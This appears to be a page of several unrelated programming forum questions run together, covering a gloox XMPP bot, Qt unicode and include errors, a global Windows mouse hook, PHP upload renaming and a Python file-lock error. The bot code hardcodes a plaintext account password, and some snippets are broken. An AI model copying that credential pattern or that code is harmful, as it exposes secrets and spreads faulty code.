C:\Users\Androide\Desktop\gloox\libgloox.a(clientbase.o):clientbase.cpp|| undefined reference to `InitializeSecurityContextA@48'|
||error: ld returned 1 exit status|
||=== Build failed: 7 error(s), 0 warning(s) (0 minute(s), 2 second(s)) ===|
I'm using Codeblocksmingw as an IDE but at the moment I don't know how to include the library opensslin my project to solve the mentioned errors.
My extension:
#include "gloox/src/client.h"
#include "gloox/src/messagehandler.h"
#include "gloox/src/message.h"
#include "gloox/src/presencehandler.h"
#include "gloox/src/connectionlistener.h"
#include <ctime>
#include <iostream>
#include <string>
using namespace std;
using namespace gloox;
//my one
const string LOGIN = "gmail.com";
ostream& operator<<(ostream& os, Message::MessageType type) {
switch (type) {
case Message::Chat:
os << "Chat";
break;
case Message::Error:
os << "Error";
break;
case Message::Groupchat:
os << "Groupchat";
break;
case Message::Headline:
os << "Headline";
break;
case Message::Normal:
os << "Normal";
break;
case Message::Invalid:
os << "Invalid";
break;
default:
os << "unknown type";
break;
}
return os;
}
ostream& operator<<(ostream& os, const Message& stanza) {
os << "type:'" << stanza.subtype() << "' from:'" << stanza.from().full() << "' body:'" << stanza.body() << "'";
return os;
}
class Bot : public MessageHandler,
/*public PresenceHandler,*/
public ConnectionListener
/*,public RosterListener*/{
public:
Bot(){
JID jid( "[email protected]/home" );
client = new Client( jid, "mmaaria123" );
client->registerConnectionListener( this );
client->registerMessageHandler( this );
client->connect(true);
}
virtual void onConnect() {
cout << "It is connected good:)" << endl;
//sleep(5);
client->disconnect();
}
virtual void onDisconnect(ConnectionError e) {
cout << "ConnListener::onDisconnect() " << endl;
}
virtual bool onTLSConnect(const CertInfo& Info) {
time_t tm = Info.date_from;
time_t tm_to = Info.date_to;
cout << "\t Certificate information to " << LOGIN << endl;
cout << "\t========================================" << endl;
// number code << "\tServer status: " << Info.status;
if (Info.status !=0)
{
cout << "\t !!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!" << endl;
cout << "\t !!! The certificate has a problem !!!" << endl;
cout << "\t !!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!" << endl;
// parsing binary Status Cert
if ((CertInvalid) & Info.status)
{
cout << "\t- The certificate is not trusted " << endl;
}
if (( CertSignerUnknown) & Info.status)
{
cout << "\t- The certificate hasn't got a kown issuer" << endl;
}
if ((CertRevoked) & Info.status)
{
cout << "\t- The certificate has been revoked " << endl;
}
if ((CertExpired) & Info.status)
{
cout << "\t- The certificate has expired " << endl;
}
if ((CertNotActive) & Info.status)
{
cout << "\t- The certificate is not yet active " << endl;
}
if ((CertWrongPeer) & Info.status)
{
cout << "\t- The certificate has not issued for the peer we're connected to " << endl;
}
if ((CertSignerNotCa) & Info.status)
{
cout << "\t- The signer is not CA " << endl;
}
cout << endl;
}
// end parsing
else
// if Info.status=0 sertificate is valide
cout << " *** Cert is OK!" << endl;
cout << "\tChain: " << Info.chain << endl;
cout << "\tIssuer: " << Info.issuer << endl;
cout << "\tServer: " << Info.server << endl;
cout << "\tCert date from: " << ctime(&tm);
cout << "\tCert date to: " << ctime(&tm_to);
cout << "\tProtocol: " << Info.protocol << endl;
cout << "\tCipher: " << Info.cipher << endl;
cout << "\tMAC: " << Info.mac << endl;
cout << "\tCompression: " << Info.compression << endl;
cout << "\t========================================" << endl;
return true;
}
virtual void handleMessage( const Message& stanza,
MessageSession* session = 0 ){
Message msg(Message::Chat, stanza.from(), "hello world" );
client->send( msg );
}
private:
Client* client;
};
int main( int argc, char* argv[] ){
cout << "1" << endl;
Bot b;
}
How can I change the toolset of my project so that it can be compiled using version 12.0. In my case my project uses version 14.0. When I try to compile it it returns the following error:
Is there any way or way to make it compatible with my 12.0 version of Visual Studio?
Hi, I'm trying to show the unicode keys to learn more about it. The char contains the unicode as follows '\u0041'. It is a QString of the following "\u0041" that I convert to char '\u0041'.Code:
char myChar = s[0].toLatin1(); // lo convierto en char
But when I put the code in the case:
switch (myChar){
//
case '\u0001': qDebug() << "aprendiendo";break;
default:break;
}
This is the error I get: a universal character name specifies an invalid character
So it is impossible to display a unicode with a char, which code should I use. I want to learn to show it with switch not with if.
How do you convert a QStringto char? some easy and understandable way?
It is to understand it better thank you.
I can't include this library to my application. Try to include it as follows:
#include <QEvent>
#include <QKeyEvent>
However it shows me the following error:
user\filtro\customeventfilter.cpp:4: error: C1083: Cannot open file include: 'QKeyEvent': No such file or directory
Hi, I'm like doing certain events with my mouse. Now what I want is to return the value of the instance but I don't know how: cpp code:
#include "mouselogger.h"
#include <QDebug>
MouseLogger &MouseLogger::instance()
{
static MouseLogger _instance;
return _instance;
}
MouseLogger::MouseLogger(QObject *parent) : QObject(parent)
{
HINSTANCE hInstance = GetModuleHandle(NULL);
// Set hook
mouseHook = SetWindowsHookEx(WH_MOUSE_LL, mouseProc, hInstance, 0);
// Check hook is correctly
if (mouseHook == NULL) {
qWarning() << "Mouse Hook failed";
}
}
LRESULT CALLBACK MouseLogger::mouseProc(int Code, WPARAM wParam, LPARAM lParam)
{
Q_UNUSED(Code);
// Having an event hook, we nned to cast argument lParam
// to the structure of the mouse is the hook.
MOUSEHOOKSTRUCT * pMouseStruct = (MOUSEHOOKSTRUCT *)lParam;
// Next, we check to see what kind of event occurred,
// if the structure is not a pointer to nullptr
if(pMouseStruct != nullptr) {
switch (wParam) {
case WM_MOUSEMOVE:
qDebug() << "WM_MOUSEMOVE";
break;
case WM_LBUTTONDOWN:
qDebug() << "WM_LBUTTONDOWN";
break;
case WM_LBUTTONUP:
qDebug() << "WM_LBUTTONUP";
break;
case WM_RBUTTONDOWN:
qDebug() << "WM_RBUTTONDOWN";
break;
case WM_RBUTTONUP:
qDebug() << "WM_RBUTTONUP";
break;
case WM_MBUTTONDOWN:
qDebug() << "WM_MBUTTONDOWN";
break;
case WM_MBUTTONUP:
qDebug() << "WM_MBUTTONUP";
break;
case WM_MOUSEWHEEL:
qDebug() << "WM_MOUSEWHEEL";
break;
default:
break;
}
emit instance().mouseEvent();
}
// After that you need to return back to the chain hook event handlers
return CallNextHookEx(NULL, Code, wParam, lParam);
}
main() code:
//#include <QCoreApplication>
//int main(int argc, char *argv[])
//{
// QCoreApplication a(argc, argv);
//return a.exec();
//}
#include <QCoreApplication>
#include <QDebug>
#include "mouselogger.h"
int main(int argc, char *argv[])
{
QCoreApplication a(argc, argv);
QObject::connect(&MouseLogger::instance(), &MouseLogger::mouseEvent,
[](){
//retornar el valor
qDebug() << s;
});
return a.exec();
}
I need this for a job, thank you.
Hello, it is possible to upload files and that the code in php order these files in numbers. That is, for example, I upload many repeated files, others not repeated, and the php code is renaming it by numbers in order 1.2.3.4.5.6.... etc and it works in several directories. What I want is that the name of the uploaded files does not depend on the user but depends on the FTP server. If not, then I would have to implement it in the client that uploads those files but when uploading them via FTP they may be repeated and I would like it to be possible for the server to order them for me one then the next.... that way, as they arrive.
Does anyone know how to rename a file with Python?
What I do is that the read function ends and then I call the other function to rename it. There is no way to do both at the same time, it tells me that another process is using the file.
This is my code:
import csv
def leer():
m1=open("archivo1.csv","rb")
m1_csv=csv.reader(m1)
var = ""
for i,x in enumerate(m1_csv):
lista0 = x[0:1]
lista1 = x[1:2]
header = str1 = ''.join(lista0)
header1 = header[9:13]
str1 = ''.join(lista1)
str1 = str1[1:]
str2 = str1[0:32]
listas = []
listas.append("The next header ")
listas.append(header1)
listas.append("")
if(header1=="goin"):
listas.remove("")
listas.remove("goin")
listas.append("error")
listas.append(" the hash is outdate: "+str2)
elif(header1=="omin"):
listas.remove("")
listas.remove("omin")
listas.append("error")
listas.append(" the hash is outdate: "+str2)
elif( str2 == "074e3e3e82db7610dbeafd95c22d20a2"):
listas.remove("")
listas.append(" is using for speaking")
listas.append(" example bla bla bla the packet")
listas.append(" Incident: you can get powers")
listo=["OUTGOING HEADERS"]
listos=["INCOMING HEADERS"]
m2_c=csv.writer(open("archivo2.csv","a"),lineterminator='\n')
if(i==0):
m2_c.writerow(listo)
if(i==468):
m2_c.writerow(listos)
m2_c.writerow(listas)
m1.close()
I tried to do it with the method osbut it gives me an error:
Traceback (most recent call last):
File "<stdin>", line 1, in <module>
File "prueba1.py", line 64, in <module>
leer()
File "prueba1.py", line 54, in leer
os.remove("archivo1.csv")
WindowsError: [Error 32] Le processus ne peut pas accÚde
ier est utilisÚ par un autre processus: 'archivo1.csv'